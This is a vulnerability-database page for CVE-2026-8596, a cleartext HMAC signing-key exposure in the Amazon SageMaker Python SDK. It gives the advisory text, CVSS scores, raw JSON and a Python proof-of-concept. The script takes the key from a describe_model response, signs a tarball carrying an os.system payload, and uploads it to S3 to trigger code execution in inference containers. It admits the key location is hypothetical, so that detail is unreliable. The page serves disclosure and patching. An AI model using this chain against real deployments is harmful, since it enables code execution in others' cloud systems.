Security Vulnerability Report
中文
CVE-2026-8596 CVSS 7.2 HIGH

CVE-2026-8596

Published: 2026-05-14 20:17:21
Last Modified: 2026-05-14 20:17:21
Source: ff89ba41-3aa1-4d27-914a-91399e9639e5

Description

Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to extract the HMAC signing key from SageMaker API responses and forge valid integrity signatures for specially crafted model artifacts, achieving code execution in inference containers. This issue requires a remote authenticated actor with permissions to call SageMaker describe APIs and S3 write access to the model artifact path. To remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any models previously created with ModelBuilder using the updated SDK.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Amazon SageMaker Python SDK < v2.257.2
Amazon SageMaker Python SDK v3 < v3.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import boto3 import hmac import hashlib import tarfile import os # Exploit Concept for CVE-2026-8596 # Requires: boto3, permissions for sagemaker:DescribeModel and s3:PutObject # Configuration MODEL_NAME = "target-vulnerable-model" S3_BUCKET = "target-bucket" MALICIOUS_MODEL_PATH = "./malicious_model.tar.gz" # 1. Extract HMAC Key from SageMaker Describe API def get_hmac_key(model_name): client = boto3.client('sagemaker') try: response = client.describe_model(ModelName=model_name) # The vulnerability is that the key is stored in cleartext here # Hypothetical key location based on vulnerability description hmac_key = response['PrimaryContainer']['Environment']['SAGEMAKER_HMAC_KEY'] print(f"[+] Extracted HMAC Key: {hmac_key}") return hmac_key except Exception as e: print(f"[-] Error extracting key: {e}") return None # 2. Create a malicious model artifact def create_malicious_artifact(): with tarfile.open(MALICIOUS_MODEL_PATH, "w:gz") as tar: # Add a simple malicious script (e.g., code.py) code_content = "import os; os.system('touch /tmp/pwned')" with open("code.py", "w") as f: f.write(code_content) tar.add("code.py") print(f"[+] Created malicious artifact at {MALICIOUS_MODEL_PATH}") # 3. Sign the artifact with the stolen key def sign_artifact(key, filepath): with open(filepath, 'rb') as f: data = f.read() signature = hmac.new(key.encode('utf-8'), data, hashlib.sha256).hexdigest() print(f"[+] Generated Signature: {signature}") return signature # 4. Upload to S3 to trigger code execution def upload_and_trigger(signature): s3 = boto3.client('s3') # Upload the file s3.upload_file(MALICIOUS_MODEL_PATH, S3_BUCKET, f"models/{MODEL_NAME}.tar.gz") # In a real scenario, the attacker might need to update the model reference # or wait for the inference container to pick up the new artifact. print(f"[+] Uploaded malicious model to s3://{S3_BUCKET}/models/{MODEL_NAME}.tar.gz") print("[*] If the model reloads, code execution will occur.") if __name__ == "__main__": key = get_hmac_key(MODEL_NAME) if key: create_malicious_artifact() sig = sign_artifact(key, MALICIOUS_MODEL_PATH) upload_and_trigger(sig)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8596", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-05-14T20:17:21.183", "lastModified": "2026-05-14T20:17:21.183", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to extract the HMAC signing key from SageMaker API responses and forge valid integrity signatures for specially crafted model artifacts, achieving code execution in inference containers. This issue requires a remote authenticated actor with permissions to call SageMaker describe APIs and S3 write access to the model artifact path.\n\n\n\nTo remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any models previously created with ModelBuilder using the updated SDK."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-031-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/sagemaker-python-sdk/releases/tag/v2.257.2", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/sagemaker-python-sdk/releases/tag/v3.8.0", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/sagemaker-python-sdk/security/advisories/GHSA-7hh5-prp2-mfh5", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}